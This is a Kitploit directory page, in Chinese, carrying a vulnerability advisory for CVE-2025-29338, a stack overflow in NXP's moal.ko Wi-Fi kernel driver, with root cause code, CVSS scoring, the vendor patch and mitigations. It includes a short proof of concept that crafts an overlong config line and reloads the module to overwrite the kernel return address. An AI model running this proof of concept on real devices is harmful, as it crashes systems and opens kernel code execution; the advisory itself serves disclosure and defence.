Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-29338 — 针对NXP moal.ko Wi-Fi内核驱动中基于栈的缓冲区溢出(CWE-121)的技术公告和概念验证,可导致本地内核恐慌和潜在的任意代码执行。 | Kitploit
工具/GitHubGitHub/masjadaan/cve-2025-29338
嵌入式系统安全漏洞分析漏洞利用硬件安全二进制利用
GitHubmasjadaan/cve-2025-29338

CVE-2025-29338

针对NXP moal.ko Wi-Fi内核驱动中基于栈的缓冲区溢出(CWE-121)的技术公告和概念验证,可导致本地内核恐慌和潜在的任意代码执行。

查看仓库
3134个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-29338 — 安全公告

NXP moal.ko Wi-Fi 内核驱动中的缓冲区溢出(woal_setup_module_param / parse_cfg_get_line)

字段值
CVE IDCVE-2025-29338
严重性高
CVSS v3.1 分数7.8
CVSS v3.1 向量CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
漏洞类型基于栈的缓冲区溢出 (CWE-121)
攻击向量本地
供应商NXP Semiconductors
供应商补丁状态已修补
发现者Mahmoud Jadaan — diconium auto GmbH

摘要

NXP moal.ko Wi-Fi 内核驱动(版本 5.1.7.10)在固件构建版本 v17.92.1.p149.43 至 v17.92.1.p149.157 中存在基于栈的缓冲区溢出漏洞。该漏洞位于 parse_cfg_get_line(mlinux/moal_init.c)中,由 woal_setup_module_param 调用。将配置文件行读入固定大小栈缓冲区的 while 循环缺少目标边界检查,导致任意长度的行可以溢出缓冲区、破坏栈并触发内核恐慌。NXP PSIRT 已确认漏洞并发布了修复。


受影响产品

字段详情
供应商NXP Semiconductors
组件moal.ko Wi-Fi 内核驱动
驱动版本5.1.7.10
固件 — 首个受影响版本v17.92.1.p149.43
固件 — 最后一个受影响版本v17.92.1.p149.157

漏洞详情

根因

woal_setup_module_param 分配一个固定大小的栈缓冲区(MAX_LINE_LEN 字节),并在处理 mod_para 配置文件时,每次迭代将其传递给 parse_cfg_get_line:

// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
    // process line
}

在 parse_cfg_get_line 的易受攻击版本中,while 循环条件仅检查源位置和行终止符——没有检查已写入目标缓冲区的字节数:

// parse_cfg_get_line — vulnerable version (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
    t_u8 *src, *dest;
    static t_s32 pos;

    if (pos >= size) {
        pos = 0;
        return -1;
    }
    memset(line_pos, 0, MAX_LINE_LEN);
    src = data + pos;
    dest = line_pos;

    while (pos < size && *src != '\x0A' && *src != '\0') {
        if (*src != ' ' && *src != '\t')
            *dest++ = *src++;   // unchecked write — no dest bounds check
        else
            src++;
        pos++;
    }
    pos++;
    *dest = '\0';
    return strlen(line_pos);
}

配置文件中超过 MAX_LINE_LEN 字节的行会导致 dest 超过调用者栈缓冲区的末尾,覆盖相邻的栈内存,包括保存的帧指针和返回地址。


攻击向量

属性值
类型本地
所需权限CAP_SYS_MODULE(root 或等价)
用户交互无
攻击面mod_para 内核模块参数(配置文件路径)

驱动在系统启动时通过 insmod 加载,其中 mod_para 参数指向一个配置文件。能够写入精心构造的配置文件并重新加载内核模块的攻击者可以触发溢出。


影响

影响描述
拒绝服务内核恐慌 — 已确认;导致立即系统重启
内核内存破坏栈破坏覆盖保存的 rbp 和返回地址
潜在代码执行返回地址受控 — 根据现有的缓解措施(栈 canary、KASLR 等),可能实现任意内核模式代码执行

CVSS v3.1 分解

指标值理由
攻击向量 (AV)本地 (L)需要本地系统访问
攻击复杂度 (AC)低 (L)无竞争条件或复杂前提
所需权限 (PR)高 (H)需要 CAP_SYS_MODULE / root
用户交互 (UI)无 (N)完全由攻击者控制
范围 (S)不变 (U)影响保持在内核上下文内
机密性 (C)高 (H)内核内存可能可读
完整性 (I)高 (H)返回地址覆盖已演示
可用性 (A)高 (H)内核恐慌/重启已确认

基础评分: 7.8 (高) CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H


概念验证

仅供防御和研究目的提供。

步骤 1 — 卸载现有模块

#!/bin/sh
rmmod moal
rmmod mlan

步骤 2 — 创建恶意配置文件

栈缓冲区填满 A,接着 8 字节的栈 canary 槽位(B),8 字节保存的 rbp(C),以及 8 字节用于覆盖返回地址(D):

python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin

步骤 3 — 使用构造的配置加载模块

mod_para 路径必须相对于内核搜索固件的目录(通常是 /lib/firmware/)。相应地构造路径:

#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin

insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
    mod_para=$PAYLOAD_PATH \
    drvdbg=0x7

步骤 4 — 观察结果

模块初始化期间立即触发内核恐慌。内核日志确认返回地址被覆盖为 0x4444444444444444(ASCII DDDDDDDD),展示了指令指针的完全控制:

[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
         woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444   <-- controlled return address

供应商补丁

NXP PSIRT 已确认漏洞并提供了以下对 mlinux/moal_init.c 的补丁。修复在 parse_cfg_get_line 循环中添加了边界检查,以在超过 MAX_LINE_LEN 之前跳出:

--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
              else
                      src++;
              pos++;
+              if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+                      PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+                      break;
+              }
       }
       /* parse new line */
       pos++;

缓解措施

更新至包含上述补丁的固件版本(v17.92.1.p149.157 之后)。作为额外加固措施:

  1. 限制模块加载 — 将 CAP_SYS_MODULE 限制给受信任的管理员;通过 SELinux、AppArmor 或 seccomp 强制执行 init_module / finit_module 系统调用限制。
  2. 保护配置文件路径 — 确保 mod_para 引用的路径及其指向的文件仅 root 可写。

参考

  • NXP mwifiex 驱动 (GPL): https://github.com/nxp-imx/mwifiex
  • NXP 发布说明: https://www.nxp.com/docs/en/release-note/RN00104.pdf

供应商状态

NXP PSIRT 已确认漏洞。修复已作为正式软件更新的一部分发布。


致谢

发现者: Mahmoud Jadaan — diconium auto GmbH


本公告作为公开参考发布,以满足 CVE 计划的最低披露要求。

下载工具